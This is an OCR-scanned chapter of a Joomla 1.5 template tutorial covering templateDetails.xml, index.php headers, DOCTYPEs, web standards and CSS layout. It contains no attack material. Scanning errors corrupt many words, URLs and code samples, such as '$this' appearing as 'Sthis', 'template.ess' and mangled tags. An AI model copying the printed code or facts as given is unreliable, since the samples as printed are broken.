Fig. A - Joomla Template With sample content&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Figure 11-1 Template with and without content&lt;br /&gt;
This screenshot shows the template in use with sample content. Figure В shows the template as it may look with a raw Joomla installation with little or no content. The template is styled so that when your content is inserted, will inherit the stylesheet defined in the template such as link styles, menus, navigation, text size and colors to name a few.&lt;br /&gt;
Notice how the images associated with the content (the photos of the people) are not part of the template, whereas the image in the header is рай of the template.&lt;br /&gt;
Using a template for a CMS. as Joomla does, has a number of advantages and disadvantages:&lt;br /&gt;
•	There is a complete separation of content and presentation, especially when CSS is used for layout (as opposed to having tables in the index.php file). This is one of the main criteria for a site that meets modern web standards.&lt;br /&gt;
•	A new template, and hence a completely new look to a web site can be applied instantly. This can even have different locations/positioning of content as well as colors and graphics.&lt;br /&gt;
•	If different layouts are called for within one web site, it can be difficult to achieve.&lt;br /&gt;
Although different templates can be applied to different pages, this built in functionality is not reliable. Much better is to use conditional PHP and create a layout that dynamically adjusts the number of columns based on what content is published.&lt;br /&gt;
The Localhost Design Process&lt;br /&gt;
The web page you see at a Joomla powered web site is not static. That means it is generating dynamically from content stored in the database. The page that you see is created through various PHP commands that are in the template. This presents some difficulties in the design phase.&lt;br /&gt;
It's common now to use a &amp;quot;what you see is what you get&amp;quot; (WYSIWYG) HTML editor such as Dreamweaver. This means that the designer does not even need to code the HTML. However, this is not possible in the Joomla template design process. WYSIWYG editors cannot display a dynamic page. This means that the designer must code &amp;quot;by hand&amp;quot; and the view the output page from the PHP on a served page. With a fast enough connection this could be a web server, but most designers use a &amp;quot;local server&amp;quot; on their own computer. This is a piece of software that will serve the web pages on the designer's computer.&lt;br /&gt;
There is no &amp;quot;right way&amp;quot; to create a web page, it depends on the designer's own background. Those more graphical make an &amp;quot;image&amp;quot; of a page in a graphics program like Photoshop and then break up the images to use (known as slice and dice). More technologically inclined designers will often just jump straight into the CSS and start coding. However, as mentioned above, the Joomla template designer is limited in that he cannot instantly see the effect of his/her coding in the same editor, the modified design process is:&lt;br /&gt;
1.	Make edits with HTML editor, save changes&lt;br /&gt;
2.	Have localhost server running in background to &amp;quot;ran&amp;quot; Joomla.&lt;br /&gt;
3.	View edits hi a web browser&lt;br /&gt;
4.	Gotol.&lt;br /&gt;
Localhost Server Options&lt;br /&gt;
In chapter 3 we saw how to install a web server that will run on your computer. We described one for window called Winamp. To move further in this chapter you will need to have this installed. If you need to. I'll wait right here while you go and install it.&lt;br /&gt;
Tip&lt;br /&gt;
One useful technique to make the design process more efficient is to serve a web page that you are designing and then copy and paste the source into an editor. For example, once your layout CSS is set up. you can use one of these localhost servers to serve a page, then View_Source. You then copy and paste that into your editor. You can now easily style the page using CSS and not have to go through the cycle of steps described above.&lt;br /&gt;
A Free XHTML Editor&lt;br /&gt;
For those not able to pay for a commercial editor such as Dreamweaver, there a some free editors available. Nvu is a solid choice and has built in validation and it is 100% open source. This means anyone is welcome to download Nvu at no charge (nvu.com/dowiiload.html). including the source code if you need to make special changes.&lt;br /&gt;
W3C and Tableless Design&lt;br /&gt;
Usability, accessibility and search engine optimization are all phrases used to describe high quality web pages in today's world wide web. In reality, there is a significant amount of overlap between them and a web page that demonstrates the characteristics of one does so for all three, this is shown in figure 11-2. The easiest way to achieve these three goals is to do so using the framework laid out in the W3C web standards.&lt;br /&gt;
For example, a site that is (x)html semantically structured (the xhtml explains the document, not how it looks) will be easily read in a screen reader by someone who has poor vision. It will also be easily read by a search engine spider. Google is effectively blind in how it reads your web site&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Figure 11-2 The overlap between SEO. accessibility and usability&lt;br /&gt;
A site that is validates to the World Wide Web Consortium's (W3C) web standards has a much better foundation for making it accessible, usable and search engine optimized.&lt;br /&gt;
Think of these as building codes for your house. A web site built with them is stronger and safer. You can check your pages with the W3C's HTML validation service (validator.w3.org/). for free. At its simplest, a site that meets W3C validation uses semantic (x)html and separates content from presentation using CSS.&lt;br /&gt;
To help you understand where web standards came from, some history is helpful. Many web pages are actually designed for older browsers. Why? Browsers have continually evolved since the www started. New ones have appeared and old ones have disappeared (remember Netscape?). Another complicating factor is that different browser makers (like Microsoft) tend to have their browsers interpret html/xhtml in slightly different ways. This has lead to web designers having to design their websites to support older browsers rather than new ones. It's often decided that the web page needs to appear properly to these &amp;quot;legacy&amp;quot; browsers.&lt;br /&gt;
Web standards put into place a common set of &amp;quot;rales&amp;quot; for all web browsers to use to show a web page. The main organization pushing these standards is the World Wide Web Consortium (WC3). whose Director. Tim Berners-Lee has the distinction of actually inventing the world wide web in 1989.&lt;br /&gt;
Ask five designers what web standards are and you will get five answers. But most agree that they are based on the following valid code, whether html or xhtml (or others).&lt;br /&gt;
Earlier we used an example of building codes for construction. The standards outlined for the code that makes a web page have been developed to achieve consistency. It's easy to check your code at validator.w3.org. Make sure you use the correct DOCTYPE when you try and validate your code. This article at Compass Design helps explain this more:&lt;br /&gt;
www.compassdesigns.net/rutorials/joomla-tutorials/installing-joomla-doctype-and-the-blank-joomla-template.html&lt;br /&gt;
Semantically Correct Code&lt;br /&gt;
We mentioned before that being semantic means that the (x)html in the web page describes only content, not presentation. In particular this means structured organization of hl/h2 etc tags and only using tables for tabular data, not to layout a web page.&lt;br /&gt;
Cascading Style Sheets (CSS)&lt;br /&gt;
Closely related to having semantic code, is using cascading style sheets to control the look and layout of your web page. Cascading Style Sheets (CSS) is a simple mechanism for adding style (e.g. fonts, colors, spacing) to Web documents. (Source: www.w3.org/Style/CSS/). They exist parallel to the (x)html code and so let you completely separate content (semantic code) form presentation (CSS). The best example of this is CSS Zen Garden, a site where the same semantic XHTML is shaped in different and unique ways with different CSS. The result is pages that look very different but have the same core content.&lt;br /&gt;
Designing Joomla powered sites currently presents considerable challenges to meet validation&lt;br /&gt;
standards. In the first series of releases. 1.O.X. the code uses a significant amount of tables to&lt;br /&gt;
output its pages. This isn't really using CSS for presentation, nor does it produce semantically&lt;br /&gt;
correct code. This problem is compounded by the fact that very few 3rd party developers are&lt;br /&gt;
using CSS either, most use table to generate their code too.&lt;br /&gt;
Fortunately, the Joomla Core Development team recognized this issue of Joomla. In the 1.5&lt;br /&gt;
version it's possible for template designers to completely override the output of the core (called a&lt;br /&gt;
view) and strip out the tables, customize the layout, whatever they want.&lt;br /&gt;
Regardless, care can still be taken when creating a template so that it is accessible (e.g. scalable&lt;br /&gt;
font sizes), usable (e.g. clear navigation) and optimized for search engines (e.g. source ordered).&lt;br /&gt;
The Template Components&lt;br /&gt;
In order to understand the contents of a template, we will start by looking at a blank joomla template. The template contains the various files and folders that make up a Joomla template. These files must be placed in the /templates/ directory of a Joomla installation in their own folder. So. if we had two templates installed, our directory would look something like:&lt;br /&gt;
/templates/element /templates/voodoo&lt;br /&gt;
Note that the directory names for the templates must be the same as the name of the template, in this case element and voodoo. Obviously they are case sensitive and shouldn't contain spaces.&lt;br /&gt;
Within the directory of a template, there are a number of key files:&lt;br /&gt;
/element/templateDetails.xml /element/index.php&lt;br /&gt;
These two filenames and location must be matched exactly as this is how they are called by the Joomla core script.&lt;br /&gt;
templateDetails.xml&lt;br /&gt;
(note the uppercase &amp;quot;D&amp;quot;) An XML format metadata file that tells Joomla what other files are needed when loading a web page that uses this template. It also details the author, copyright and what files make up the template (including any images used). The last use of this file is for installing a template when using the admin backend.&lt;br /&gt;
index.php&lt;br /&gt;
This file is the most important. It lays out the site and tells the joomla CMS where to put the different components and modules. It is a combination of PHP and (X)HTML. In almost all templates, additional files are used. It is conventional (although not required by the core) to name and locate them as shown below:&lt;br /&gt;
/element/template_thumbnail.png /element/css/template.css /element/images/logo.png&lt;br /&gt;
These are just examples, let's examine each one in turn.&lt;br /&gt;
/element/template  thumbnail.png&lt;br /&gt;
A web Browser screenshot of the template (usually reduced to around 140 pixels wide and 90 pixels high). After the template has been installed, this functions as a &amp;quot;Preview image&amp;quot; visible in the Joomla administration Template Manager and also the template selector module in the frontend (if used).&lt;br /&gt;
/element/css/template.css&lt;br /&gt;
The CSS of the template. The folder location is optional, but you have to specify where it is in the index.php file. You could call it what you like. Usually the name shown is used, but we will see later that there are advantages in having other css files too.&lt;br /&gt;
/element/images/logo.png&lt;br /&gt;
Any images that go with the template. Again for organization reasons, most designers put this in an images folder. Here we have an image file called logo.png as an example.&lt;br /&gt;
The templateDetails.xml&lt;br /&gt;
The templateDetails.xml must include all the files that are part of the template. It also includes information such as the author and copyright. Some of these are shown in the admin backend in the Template Manager. An example xml file is shown below:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;?xml version=&amp;quot;l.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;	&lt;br /&gt;
&amp;lt;install version=&amp;quot;l.5&amp;quot; type=&amp;quot;template&amp;quot;&amp;gt;	&lt;br /&gt;
&amp;lt;name&amp;gt;TemplateTutoriall5&amp;lt;/name&amp;gt;	&lt;br /&gt;
&amp;lt;creationDate&amp;gt;December 2006&amp;lt;/creationDate&amp;gt;	&lt;br /&gt;
&amp;lt;author&amp;gt;Barrie North&amp;lt;/author&amp;gt;	&lt;br /&gt;
&amp;lt;copyright&amp;gt;GPL&amp;lt;/copyright&amp;gt;	&lt;br /&gt;
&amp;lt;authorEmail&amp;gt; compassdesigns@gmail.com &amp;lt;/authorEmail&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;authorUrl&amp;gt;www.compassdesigns.net&amp;lt;/authorUrl&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;version&amp;gt;l.0&amp;lt;/version&amp;gt;	&lt;br /&gt;
&amp;lt;description&amp;gt;Template for Official Joomla documentation	&lt;br /&gt;
guide&amp;lt;/description&amp;gt;	&lt;br /&gt;
&amp;lt;files&amp;gt;	&lt;br /&gt;
&amp;lt;filename&amp;gt;index.php&amp;lt;/filename&amp;gt;	&lt;br /&gt;
&amp;lt;filename&amp;gt;templateDetails.xml&amp;lt;/filename&amp;gt;	&lt;br /&gt;
&amp;lt;filename&amp;gt;js/somejsfile.js&amp;lt;/filename&amp;gt;	&lt;br /&gt;
&amp;lt;filename&amp;gt;images/threecol-l.gif&amp;lt;/filename&amp;gt;	&lt;br /&gt;
&amp;lt;filename&amp;gt;images/threecol-r.gif&amp;lt;/filename&amp;gt;	&lt;br /&gt;
&amp;lt;filename&amp;gt;css/customize.css&amp;lt;/filename&amp;gt;	&lt;br /&gt;
&amp;lt;filename&amp;gt;css/layout.css&amp;lt;/filename&amp;gt;	&lt;br /&gt;
&amp;lt;filename&amp;gt;css/template css.css&amp;lt;/filename&amp;gt;	&lt;br /&gt;
&amp;lt;/files&amp;gt;	&lt;br /&gt;
&amp;lt;params&amp;gt;	&lt;br /&gt;
&amp;lt;param name=&amp;quot;showComponent&amp;quot; type=&amp;quot;radio&amp;quot; default=&amp;quot;l&amp;quot;	label=&amp;quot;Show&lt;br /&gt;
Component&amp;quot; description=&amp;quot;Show/Hide the component output&amp;quot;&amp;gt;	&lt;br /&gt;
&amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;No&amp;lt;/option&amp;gt;	&lt;br /&gt;
&amp;lt;option value=&amp;quot;l&amp;quot;&amp;gt;Yes&amp;lt;/option&amp;gt;	&lt;br /&gt;
&amp;lt;/param&amp;gt;	&lt;br /&gt;
&amp;lt;/params&amp;gt;	&lt;br /&gt;
&amp;lt;/install&amp;gt;	&lt;br /&gt;
Let's explain what some of these lines mean:&lt;br /&gt;
&amp;lt;install version=&amp;quot;l.5&amp;quot;   type=&amp;quot;template&amp;quot;&amp;gt;&lt;br /&gt;
The contents of the XML document are instructions for the backend installer. The option type=&amp;quot;template&amp;quot; tells the installer that we are installing a template and that it for Joomla 1.5&lt;br /&gt;
&amp;lt;name&amp;gt;TemplateTutoriall5&amp;lt;/namf&lt;br /&gt;
Defines the name of your template. The name you enter here will also be used to create the directory within the templates directory. Therefore it should not contain any characters that the file system cannot handle, for example spaces. If installing manually, you need to create a directory that is identical to the template name.&lt;br /&gt;
&amp;lt;creationDate&amp;gt;December 2006&amp;lt;/creationDate&amp;gt;&lt;br /&gt;
The date the template was created. It is a free form field and can be anything like May 2005. 08&amp;gt; June-1978. 01/01/2004 etc.&lt;br /&gt;
&amp;lt;author&amp;gt;Barrie North&amp;lt;/author&amp;gt;&lt;br /&gt;
The name of the author of this template - most likely your name&lt;br /&gt;
&amp;lt;copyright&amp;gt;GPL&amp;lt;/copyright&amp;gt;&lt;br /&gt;
Any copyright information goes into this element. A Licensing Primer for Developers &amp;amp; Designers can be found on the Joomla forums.&lt;br /&gt;
&amp;lt;authorEmail&amp;gt;compassdesigns@gmail.com&amp;lt;/authorEmail&amp;gt;&lt;br /&gt;
Email address where the author of this template can be reached.&lt;br /&gt;
&amp;lt;authorUrl&amp;gt;www.compassdesigns.net&amp;lt;/authorUrl&amp;gt;&lt;br /&gt;
The URL of the author's web site&lt;br /&gt;
&amp;lt;version&amp;gt;l.0&amp;lt;/version&amp;gt;&lt;br /&gt;
The version of this template&lt;br /&gt;
&amp;lt;files&amp;gt;&lt;br /&gt;
&amp;lt;filename&amp;gt;index.php&amp;lt;/filename&amp;gt;&lt;br /&gt;
&amp;lt;filename&amp;gt;templateDetails.xml&amp;lt;/filename&amp;gt;&lt;br /&gt;
&amp;lt;filename&amp;gt;js/somej sfile.js&amp;lt;/filename&amp;gt;&lt;br /&gt;
&amp;lt;filename&amp;gt;images/threecol-l.gif&amp;lt;/filename&amp;gt;&lt;br /&gt;
&amp;lt;filename&amp;gt;images/threecol-r.gif&amp;lt;/filename&amp;gt;&lt;br /&gt;
&amp;lt;filename&amp;gt;css/customize.css&amp;lt;/filename&amp;gt;&lt;br /&gt;
&amp;lt;filename&amp;gt;css/layout.css&amp;lt;/filename&amp;gt;&lt;br /&gt;
&amp;lt;filename&amp;gt;css/template_css.css&amp;lt;/filename&amp;gt;&lt;br /&gt;
&amp;lt;/files&amp;gt;&lt;br /&gt;
The &amp;quot;files&amp;quot; sections contains all generic files like the PHP source for the template or the thumbnail image for the template preview. Each file listed in this section is enclosed by &amp;lt;filename&amp;gt; &amp;lt;/filename&amp;gt;. Also included would be any additional files, here we use the example of a JavaScript file that is required by the template.&lt;br /&gt;
All image files that the template uses are also listed in the &amp;lt;files&amp;gt; section. Again each file listed is enclosed by &amp;lt;filename&amp;gt; &amp;lt;/filename&amp;gt;. Path information for the files is relative to the root of your template, e.g. if your template is in the directory called 'YourTemplate' and all images are in a directory 'images' that is inside 'YourTemplate'. the correct path is:&lt;br /&gt;
&amp;lt;filename&amp;gt;images/my_image.jpg&amp;lt;/filename&amp;gt;&lt;br /&gt;
Lastly any stylesheets are listed in the files section. Again the filename is enclosed by &amp;lt;filename&amp;gt; &amp;lt;/filename&amp;gt; and it's path is relative to the template root.&lt;br /&gt;
The index.php&lt;br /&gt;
What actually is in an index.php file? It is a combination of (X)HTML and PHP that determines everything about the layout and presentation of the pages.&lt;br /&gt;
First we will look at a critical part of achieving valid templates, the DOCTYPE at the top of the index.php file. This bit of code that code goes at the very top of any web page. At the top of our page we have this in our template.&lt;br /&gt;
&amp;lt;!DOCTYPE html  PUBLIC  &amp;quot;-//W3C//DTD XHTML  1.0  Transitional//EN'&lt;br /&gt;
&amp;quot;http://www.w3.org/TR/xhtmll/DTD/xhtmll-transitional.dtd&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;html xmlns=&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;  xml:lang=&amp;quot;&amp;lt;?php echo $this-&lt;br /&gt;
&amp;gt;language;   ?&amp;gt;&amp;quot;   lang=&amp;quot;&amp;lt;?php echo $this-&amp;gt;language;   ?&amp;gt;&amp;quot;  dir=&amp;quot;&amp;lt;?php echo $this-&lt;br /&gt;
&amp;gt;direction;   ?&amp;gt;&amp;quot;&lt;br /&gt;
■I&lt;br /&gt;
A web page DOCTYPE is pail of the fundamental components of who a web page is shown by a browser, specifically, how that browser interprets CSS. To give you a sense, an observation from alistapart.com says:&lt;br /&gt;
[information on W3C's site about doctypes is] &amp;quot;written by geeks for geeks. And when I say geeks, I don't mean ordinary web professionals like you and me. I mean geeks who make the rest of us look like Grandma on the first day She's Got Mail. ™&amp;quot;&lt;br /&gt;
Anyway, there are several doctypes you can use. Basically, the doctype tells the browser how to interpret the page. Here the words &amp;quot;strict&amp;quot; and &amp;quot;transitional&amp;quot; start getting floated around (float:left and float:right usually). Essentially, ever since the WWW started, different browsers have had different levels of support for CSS. This means for example, that Internet Explorer won't understand the &amp;quot;min-width&amp;quot; command to set a minimum page width. To duplicate the effect you have to use &amp;quot;hacks&amp;quot; in the CSS.&lt;br /&gt;
Note&lt;br /&gt;
Some say that serving XHTML as text/html is considered harmful. If you actually understand that statement you are well ahead of the game and beyond this guide. You can read more at hixie.ch/advocасy/xhtml.&lt;br /&gt;
Strict means the html (or XHTML) will be interpreted exactly as dictated by standards. A transitional doctype means that the page will be allowed a few agreed upon differences to the standards.&lt;br /&gt;
To complicate things, there is something called &amp;quot;quirks&amp;quot; mode. If the doctype is wrong, outdated, or not there, then the browser goes into quirks mode. This is an attempt to be backwards compatible, so Internet Explorer for example, will render the page pretending as if it was IE4.&lt;br /&gt;
Unfortunately, people sometimes end up in quirks mode accidentally. It usually happens two&lt;br /&gt;
ways:&lt;br /&gt;
•	They use the doctype declaration straight from the WC3 web page, the link ends up as:&lt;br /&gt;
DTD/xhtmll-strict.dtd&lt;br /&gt;
Except this is a relative link on the WC3 server. You need the full path as shown above.&lt;br /&gt;
•	Microsoft set up IE6 so you could have valid pages, but be in quirks mode. This happens&lt;br /&gt;
by having an &amp;quot;xml declaration &amp;quot; put before the doctype.&lt;br /&gt;
&amp;lt;?php echo   '&amp;lt;?xml version=&amp;quot;l.0&amp;quot;  encoding=&amp;quot;utf-8&amp;quot;?'   .'&amp;gt;'   ?&amp;gt;&lt;br /&gt;
The reality is that an xml declaration is not really needed, so we will leave it off.&lt;br /&gt;
The part about IE6 quirks mode is important. In this chapter we will only be designing for IE6+, so we will make sure that it's running in standards mode. This will minimize the hacks we have to do later on.&lt;br /&gt;
Making a page standards compliant, where you see &amp;quot;valid xhtml&amp;quot; at the bottom of the page does not mean really difficult coding, or hard to understand tags. It merely means that the code you use matches the doctype you said it would. That's it! Nothing else.&lt;br /&gt;
Designing your site to standards can on one level be reduced to saying what you do. and then doing what you say.&lt;br /&gt;
Some useful links:&lt;br /&gt;
www.quirksmode.org/css/quirksmode.html www.alistapart.com/stories/doctype www.w3.org/QA/2002/04/Web-Quality&lt;br /&gt;
&lt;br /&gt;
http: //forum. j oomla. org/index .php/topic .7537.0. html http: //fonun. j oomla. org/index .php/topic .6048.0. html&lt;br /&gt;
What else is in index. php?&lt;br /&gt;
Let's look at the structure of the header first, we want to be as minimal as possible, but still have enough for a production site. The header information we will use is:&lt;br /&gt;
&amp;lt;!DOCTYPE html  PUBLIC  &amp;quot;-//W3C//DTD XHTML  1.0  Transitional//EN&amp;quot; &amp;quot;http://www.w3.org/TR/xhtmll/DTD/xhtmll-transitional.dtd&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;htmi xmlns=&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;  xml:lang=&amp;quot;&amp;lt;?php echo Sthis-&amp;gt;language;   ?&amp;gt;&amp;quot;  lang=&amp;quot;&amp;lt;?php echo  $this-&amp;gt;language;   ?&amp;gt;&amp;quot;  dir=&amp;quot;&amp;lt;?php echo $this &amp;gt;direction;   ?&amp;gt;&amp;quot;  &amp;gt;&lt;br /&gt;
&amp;lt;head&amp;gt;&lt;br /&gt;
&amp;lt;jdoc:include type=&amp;quot;head&amp;quot; /&amp;gt;&lt;br /&gt;
&amp;lt;link rel=&amp;quot;stylesheet&amp;quot; href=&amp;quot;templates/&amp;lt;?php echo $this-&amp;gt;template ?&amp;gt;/css/template.ess&amp;quot; type=&amp;quot;text/css&amp;quot; /&amp;gt;&lt;br /&gt;
&amp;lt;/head&amp;gt;&lt;br /&gt;
What does all that mean?&lt;br /&gt;
&amp;lt;!DOCTYPE html  PUBLIC  &amp;quot;-//W3C//DTD XHTML  1.0  Transitional//EN&amp;quot; &amp;quot;http://www.w3.org/TR/xhtmll/DTD/xhtmll-transitional.dtd&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;html xmlns=&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;  xml:lang=&amp;quot;&amp;lt;?php echo Sthis-&amp;gt;language;   ?&amp;gt;&amp;quot;  lang=&amp;quot;&amp;lt;?php echo  $this-&amp;gt;language;   ?&amp;gt;&amp;quot;  dir=&amp;quot;&amp;lt;?php echo $this &amp;gt;direction;   ?&amp;gt;&amp;quot;  &amp;gt;&lt;br /&gt;
We talked about this above. The &amp;lt;?php echo $this-&amp;gt;ianguage;  ?&amp;gt; is pulling the language from the site global configuration.&lt;br /&gt;
&amp;lt;jdoc:include  type=&amp;quot;head&amp;quot;   /&amp;gt;&lt;br /&gt;
Header stuff that is set in the global configuration again. It includes the following tags (in a default installation):&lt;br /&gt;
&amp;lt;title&amp;gt;Joomla  1.5 Template Tutorial&amp;lt;/title&amp;gt;&lt;br /&gt;
&amp;lt;meta name=&amp;quot;generator&amp;quot;  content=&amp;quot;Joomla!   1.5&amp;quot;   /&amp;gt;&lt;br /&gt;
&amp;lt;meta name=&amp;quot;description&amp;quot;   content=&amp;quot;Joomla!   - the dynamic portal  engine and content management  system&amp;quot;   /&amp;gt;&lt;br /&gt;
&amp;lt;meta http-equiv=&amp;quot;Content-Type&amp;quot;   content=&amp;quot;text/html;   charset=utf-8&amp;quot;   /&amp;gt;&lt;br /&gt;
&amp;lt;meta name=&amp;quot;robots&amp;quot;  content=&amp;quot;index,   follow&amp;quot;   /&amp;gt;&lt;br /&gt;
&amp;lt;meta name=&amp;quot;keywords&amp;quot;   content=&amp;quot;joomla,   Joomla&amp;quot;   /&amp;gt;&lt;br /&gt;
«clink href=&amp;quot;favicon.ico&amp;quot;   rel=&amp;quot;shortcut  icon&amp;quot;   type=&amp;quot;image/x-icon&amp;quot;   /&amp;gt;&lt;br /&gt;
&amp;lt;link href=&amp;quot;http://localhost/Joomlal5/feed.php?option=com content&amp;amp;amp;view=frontpag e&amp;amp;amp;Itemid=l&amp;amp;amp;format=rss&amp;quot;   rel=&amp;quot;alternate&amp;quot;   type=&amp;quot;application/rss+xml&amp;quot; title=&amp;quot;RSS  2.0&amp;quot;   /&amp;gt;&lt;br /&gt;
&amp;lt;link href=&amp;quot;http://localhost/Joomlal5/feed.php?option=com_content&amp;amp;amp;view=frontpag e&amp;amp;amp;Itemid=l&amp;amp;amp;format=atom&amp;quot;   rel=&amp;quot;alternate&amp;quot;   type=&amp;quot;application/atom+xml&amp;quot; title=&amp;quot;Atom 1.0&amp;quot;   /&amp;gt;&lt;br /&gt;
It includes a number of metatags. the favicon and also the RSS feed URL's.&lt;br /&gt;
&amp;lt;link rel=&amp;quot;styiesheet&amp;quot;  href=&amp;quot;templates/&amp;lt;?php echo  $this-&amp;gt;template ?&amp;gt;/css/template.ess&amp;quot;  type=&amp;quot;text/css&amp;quot;   /&amp;gt;&lt;br /&gt;
This line links to the CSS file for the template. The PHP code &amp;lt;?php echo $this-&amp;gt;tempiate ?&amp;gt; will return the name of the current template. Writing it in this way rather than the actual real path makes the code more generic. When you create a new template you can just copy it (along with the whole head code) and not worry about editing anything.&lt;br /&gt;
A blank Joomla template body&lt;br /&gt;
This will be very very easy! Ready?&lt;br /&gt;
&amp;lt;body&amp;gt;				&lt;br /&gt;
&amp;lt;?php echo $mainframe-&amp;gt;getCfg('sitename'	) ;?&amp;gt;&lt;br /&gt;
&amp;lt;jdoc:include	type=	&amp;quot;modules&amp;quot; name=	&amp;quot;top&amp;quot;	/&amp;gt;&lt;br /&gt;
&amp;lt;jdoc:include	type=	&amp;quot;modules&amp;quot; name=	&amp;quot;left&amp;quot;	/&amp;gt;&lt;br /&gt;
&amp;lt;jdoc:include	type=	&amp;quot;component&amp;quot; /&amp;gt;		&lt;br /&gt;
&amp;lt;jdoc:include	type=	&amp;quot;modules&amp;quot; name=	&amp;quot;right	;» /&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt;				&lt;br /&gt;
&amp;lt;/html&amp;gt;				&lt;br /&gt;
OK. so at this point it does not look very awe inspiring. The output is shown in figure 11-3&lt;br /&gt;
We have in a reasouablv logical order:&lt;br /&gt;
1.   name of the site&lt;br /&gt;
2.   top module&lt;br /&gt;
3.   left modules&lt;br /&gt;
4.   main content&lt;br /&gt;
5.   right modules&lt;br /&gt;
The goal is to try and come as close to semantic markup as possible. From a web point of view, it means a page can be read by anyone, a browser, a spider or a screen reader. Semantic layout is the cornerstone of accessibility.&lt;br /&gt;
Joomla 1.5 Template Tutorial&lt;br /&gt;
Yesterday all servers in the U.S. went out on strike in a bid to get more RAM and better CPUs. A spokes person said that the need for&lt;br /&gt;
better RAM was due to some fool increasing the front-side bus speed. In future, busses will be told to slow down in residential&lt;br /&gt;
motherboards.&lt;br /&gt;
• Home • Joomla! Overview&lt;br /&gt;
•  What's New in 1.5?&lt;br /&gt;
•  Joomla! License&lt;br /&gt;
•  More about Joomla!&lt;br /&gt;
• FAQ&lt;br /&gt;
•  The News&lt;br /&gt;
•   Web Links&lt;br /&gt;
•  News Feeds&lt;br /&gt;
•   Extensions&lt;br /&gt;
•   Content Layouts&lt;br /&gt;
•  Example Pages&lt;br /&gt;
•  Joomla! Home&lt;br /&gt;
•  Joomla! Forums&lt;br /&gt;
•   Joomla! Help&lt;br /&gt;
•   OSM Home&lt;br /&gt;
•   Administrator&lt;br /&gt;
Username&lt;br /&gt;
Password&lt;br /&gt;
!    Remember me [Login&lt;br /&gt;
Lost Password? No account yet? Register&lt;br /&gt;
Welcome to Joomla!&lt;br /&gt;
Wiinen ОуЛФЩлшша Thursday, 12 0etoe*25Je &amp;quot;'A&lt;br /&gt;
* * Joomla! 1.5.0 Beta should NO J to be used for   live&amp;quot; or * production' sites. * *&lt;br /&gt;
Joomla! is a free open source framework and content publishing system designed for quickly creating highly interactive multi language Web sites, online communities, medio portals, bloas and eCommerce applications.&lt;br /&gt;
Joomla! provides an easy-to-use graphical user interface that simplifies the management and publishing of large volumes of content including HTML, documents, and rich media. Joomla! is used by organisations of all sires for Public Websites. Intranets and Extranets and&lt;br /&gt;
is supported by a community of thousands of users.&lt;br /&gt;
LestJpoctod (Wednesday  11 ОЯаЬегСССС 16:J&amp;quot; &amp;gt;&lt;br /&gt;
Read more...&lt;br /&gt;
Figure 11-3 An uiistyled template&lt;br /&gt;
You can read more about semantic layout in Appendix В&lt;br /&gt;
Note&lt;br /&gt;
Now it's worth noting that what we have here really is only the potential for semantic layout. If one were to go ahead and put random modules in random locations, then you would have a mess An important consideration for CMS sites, a template is only as good as the population of the content. It is this that often trips designers up when trying to validate their site.&lt;br /&gt;
You will notice that we have used the first of a number of commands specific to Joomla&lt;br /&gt;
&amp;lt;?php	echo $mainframe-&amp;gt;getCfg('sitename']	i ;?&amp;gt;&lt;br /&gt;
&amp;lt;jdoc:	:include	type=	&amp;quot;modules&amp;quot; name=	&amp;quot;top&amp;quot; ,	/&amp;gt;&lt;br /&gt;
&amp;lt;jdoc:	:include	type=	&amp;quot;modules&amp;quot; name=	&amp;quot;left&amp;quot;	/&amp;gt;&lt;br /&gt;
&amp;lt;jdoc:	:include	type=	&amp;quot;component&amp;quot; /&amp;gt;		&lt;br /&gt;
&amp;lt;jdoc:	:include	type=	&amp;quot;modules&amp;quot; name=	&amp;quot;right'	•   /&amp;gt;&lt;br /&gt;
The PHP echo statement simply outputs a string from the configuration.php file. Here we are using the site name, we could as easily have had:&lt;br /&gt;
The name of this site is  &amp;lt;?php echo $mainframe-&amp;gt;getcfg('sitename');?&amp;gt; The administrator email  is &amp;lt;?php echo  $mainframe-&amp;gt;getcfg('mailfrom');?&amp;gt; This  template  is in the &amp;lt;?php echo $this-&amp;gt;template?&amp;gt; directory The URL is  &amp;lt;?php echo  Smainframe-&amp;gt;getcfg('live site');?&amp;gt;&lt;br /&gt;
The j doc statement inserts various types of XHTML.&lt;br /&gt;
&amp;lt;jdoc:include  type=&amp;quot;component&amp;quot;  /&amp;gt;&lt;br /&gt;
This inserts the output from a component. What component it is will be determined by the menu link.&lt;br /&gt;
Note&lt;br /&gt;
Interestingly enough, you seem to be able to have multiple instances of component output. Not&lt;br /&gt;
sure why you would want to. but I thought I would let you know!&lt;br /&gt;
&amp;lt;jdoc:include  type=&amp;quot;modules&amp;quot;  name=&amp;quot;right&amp;quot;   /&amp;gt;&lt;br /&gt;
This inserts the output for a module location. The full syntax is actually:&lt;br /&gt;
&amp;lt;jdoc:include  type=&amp;quot;modules&amp;quot;  name=&amp;quot;LOCATION&amp;quot;   style=&amp;quot;OPTION&amp;quot;   /&amp;gt;&lt;br /&gt;
We will look at the various options for styles later in the chapter.&lt;br /&gt;
Using CSS to create a layout&lt;br /&gt;
We will be using CSS to make a 3 column layout for the Joomla template. We will also be making it a fluid layout. There are two main types of web page layout, fixed and fluid, and they both refer to how the width of the page is controlled.&lt;br /&gt;
The width of the page is an issue because of the many browser resolutions that people surf the web at. Although the percentage is dropping, about 17% of surfers are using an 800x600 resolution. The majority. 79%. are using 1024x768 and higher1. Making a fluid layout means that your valuable web page won't be a narrow column in the 1024 resolution, and will all be visible on smaller monitors.&lt;br /&gt;
A typical design might use tables to layout the page. They are useful in that you just have to set&lt;br /&gt;
the width of the columns as percentages, but they have several drawbacks:&lt;br /&gt;
They have lots of extra code compared to CSS layouts. This leads to longer load times (which&lt;br /&gt;
